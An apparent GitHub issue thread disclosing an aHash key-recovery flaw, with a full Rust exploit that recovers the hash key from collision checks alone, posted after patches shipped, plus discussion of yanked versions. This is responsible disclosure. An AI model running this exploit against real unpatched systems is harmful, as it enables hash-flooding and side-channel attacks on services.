Critical vulnerability: complete key recovery of AES-based hash through side-channels

[orlp]

The AES version of aHash only performs a single round of AES between inputs. This is not sufficient, a single-bit difference only gets amplified once in the SubBytes step, leading to one of 256 possibilities, but nothing further. An attacker can guess this to recover the key byte-by-byte, leading to a complete key recovery in ~4000 tests. Note that the only thing an attacker has to see is whether two inputs collide, nothing else. The attack can thus be done entirely through side-channels.

That is, the following program (instantly) succeeds when compiled with -C target-feature=+aes. Again note that recover_ahash_seed is completely blind to the hash outputs, and only gets to test if h(s1) == h(s2). This can be done in e.g. hash tables through timing attacks.

use ahash::random_state::RandomState;
use rand::prelude::*;

const PI2: [u64; 4] = [
    0x4528_21e6_38d0_1377,
    0xbe54_66cf_34e9_0c6c,
    0xc0ac_29b7_c97c_50dd,
    0x3f84_d5b5_b547_0917,
];

fn main() {
    // Instantiate a random aHash instance.
    let mut rng = rand::thread_rng();
    let seed: [u64; 4] = rng.gen();
    let rs = RandomState::with_seeds(seed[0], seed[1], seed[2], seed[3]);

    // Simulate aHash key init for the AES-based hash.
    let k0 = seed[0] ^ PI2[0];
    let k1 = seed[1] ^ PI2[1];
    let k2 = seed[2] ^ PI2[2];
    let k3 = seed[3] ^ PI2[3];
    let ahash_reference_key = bytemuck::cast::<_, u128>([k0 ^ k2, k1 ^ k3]);

    // Crack secret key using ONLY collision checks.
    let mut total_collision_checks = 0;
    let decoded = recover_ahash_seed(&mut |s1, s2| {
        total_collision_checks += 1;
        rs.hash_one(s1) == rs.hash_one(s2)
    });

    assert!(decoded == ahash_reference_key);
    println!("aHash key recovery attack complete using {total_collision_checks} collision checks.");
}

While it may be possible to thwart this particular instantiation of this attack using a different input schedule, I find the usage of only a single round of AES between input absorption to be deeply disturbing as it is simply insufficiently mixing. I strongly implore you to use at least two rounds between accepting input into the hash state, like Go's AES-based hash does.

For the purpose of responsible disclosure I have not included recover_ahash_seed here. It's not particularly sophisticated however - it's about 70 lines of code, 20 of which is AES intrinsic boilerplate. If you wish I can send the source code of it to a maintainer through private communication, please specify how/where you would wish to receive it. To give you time to fix this vulnerability, while it remains active I will not publicize the details of the attack or the source code before 1st of January 2024.

[tkaitchuck]

Published fix in 0.8.4.
@orlp Please confirm it is working, and I will yank older versions

[folex]

For anyone who comes here from search: cargo install --locked $name will allow to install even through yanked deps.

UPD: 0.7.7 was released, now cargo install works again.

Thank you!

---

It seems that this mass-yank broke a lot of CLIs that depended on these versions.

I'm not yet sure, but it seems that anything that's installed by cargo install and depended on hashbrown will now fail on installation.

cargo install mrepl

Caused by:
  failed to select a version for the requirement `ahash = "^0.7.0"`
  candidate versions found which didn't match: 0.8.5, 0.8.4, 0.4.1, ...
  location searched: crates.io index
  required by package `hashbrown v0.12.0`
      ... which satisfies dependency `hashbrown = "^0.12"` of package `cranelift-codegen v0.93.1`
      ... which satisfies dependency `cranelift-codegen = "^0.93.1"` of package `cranelift-frontend v0.93.1`
      ... which satisfies dependency `cranelift-frontend = "^0.93.1"` of package `cranelift-wasm v0.93.1`
      ... which satisfies dependency `cranelift-wasm = "^0.93.1"` of package `wasmtime-cranelift v6.0.1`
      ... which satisfies dependency `wasmtime-cranelift = "=6.0.1"` of package `wasmtime v6.0.1`
...
  perhaps a crate was updated and forgotten to be re-vendored?

Not sure of severity here, I'd be glad if it only broke a few CLIs.

[dfeyer]

Not sure of severity here, I'd be glad if it only broke a few CLIs.

starting a new project (with no lock file) with any crate with ahash as a deps is now broken .. it's a pretty big impact on the ecosystem, I understand the purpose of yanking ... but the situation feel a bit hard on many people/project. Any way thanks for behing security focused, I think cargo need to be a bit less strict with yanked package, that can help.

[tkaitchuck]

Patches have been released in the from of versions 0.8.4, 0.7.7, and 0.4.8
Vulnerable versions have been yanked with the details of the yanks here: https://github.com/tkaitchuck/aHash/wiki/Yanked-versions

[orlp]

I can confirm that the changes foil my attack. I spent a few hours staring at the new function and couldn't find a similar attack, but I would like to note that I'm not a professional cryptographer, and that this should not be considered an audit.

Since the issue is now fixed I will post the omitted recover_ahash_seed from my attack:

fn aesround(value: [u8; 16]) -> [u8; 16] {
    #[cfg(target_arch = "x86")]
    use core::arch::x86::*;
    #[cfg(target_arch = "x86_64")]
    use core::arch::x86_64::*;
    let r = unsafe { _mm_aesenc_si128(bytemuck::cast(value), bytemuck::cast(0u128)) };
    bytemuck::cast(r)
}

pub fn invaesround(value: [u8; 16]) -> [u8; 16] {
    #[cfg(target_arch = "x86")]
    use core::arch::x86::*;
    #[cfg(target_arch = "x86_64")]
    use core::arch::x86_64::*;
    let r = unsafe { _mm_aesdeclast_si128(_mm_aesimc_si128(bytemuck::cast(value)), bytemuck::cast(0u128)) };
    bytemuck::cast(r)
}


fn test_guess<C: FnMut(&[u8], &[u8]) -> bool>(byte_idx: usize, byte_guess: u8, test_diff: u8, collides: &mut C) -> bool {
    let zero = [0u8; 16];
    let aeszero = aesround(zero);

    let mut a = zero;
    let mut b = zero;
    let mut abdiff = zero;
    a[byte_idx] = byte_guess;
    b[byte_idx] = byte_guess ^ test_diff;
    abdiff[byte_idx] = test_diff;
    let mut cancel_aes_abdiff = aesround(abdiff);
    for i in 0..16 {
        cancel_aes_abdiff[i] ^= aeszero[i];
    }

    let mut s1 = Vec::with_capacity(128);
    s1.extend_from_slice(&zero);
    s1.extend_from_slice(&cancel_aes_abdiff);
    s1.extend_from_slice(&zero);
    s1.extend_from_slice(&zero);
    s1.extend_from_slice(&b);
    s1.extend_from_slice(&a);
    s1.extend_from_slice(&zero);
    s1.extend_from_slice(&zero);

    let mut s2 = Vec::with_capacity(128);
    s2.extend_from_slice(&cancel_aes_abdiff);
    s2.extend_from_slice(&zero);
    s2.extend_from_slice(&zero);
    s2.extend_from_slice(&zero);
    s2.extend_from_slice(&a);
    s2.extend_from_slice(&b);
    s2.extend_from_slice(&zero);
    s2.extend_from_slice(&zero);

    collides(&s1, &s2)
}

pub fn recover_ahash_seed<C: FnMut(&[u8], &[u8]) -> bool>(collides: &mut C) -> u128 {
    let mut decoded = [0u8; 16];
    'decode_next_pos: for i in 0..16 {
        let mut guesses: Vec<_> = (0..=u8::MAX).collect();
        for diff in 1..=u8::MAX {
            guesses.retain(|guess| test_guess(i, *guess, diff, collides));
            if guesses.len() == 1 {
                decoded[i] = guesses[0];
                continue 'decode_next_pos;
            }
        }
        unreachable!("could not decode - should be impossible");
    }

    bytemuck::cast(invaesround(decoded))
}

[ikopylov]

Patches have been released in the from of versions 0.8.4, 0.7.7, and 0.4.8 Vulnerable versions have been yanked with the details of the yanks here: https://github.com/tkaitchuck/aHash/wiki/Yanked-versions

Is it possible to undo the yank? My project uses this crate as a part of the Bloom filter, that is stored persistently on disk. I don't care about security, but it is strictly required to keep the same output of the hash function for the same input. So I restrict dependency to a specific version of this crate and when this version was yanked, everything broke. I can't update the crate to a new version because the hash output changed. So I ask to undo the yank

[orlp]

@ikopylov The readme does state "Specifically, aHash is not intended for network use or in applications which persist hashed values." =/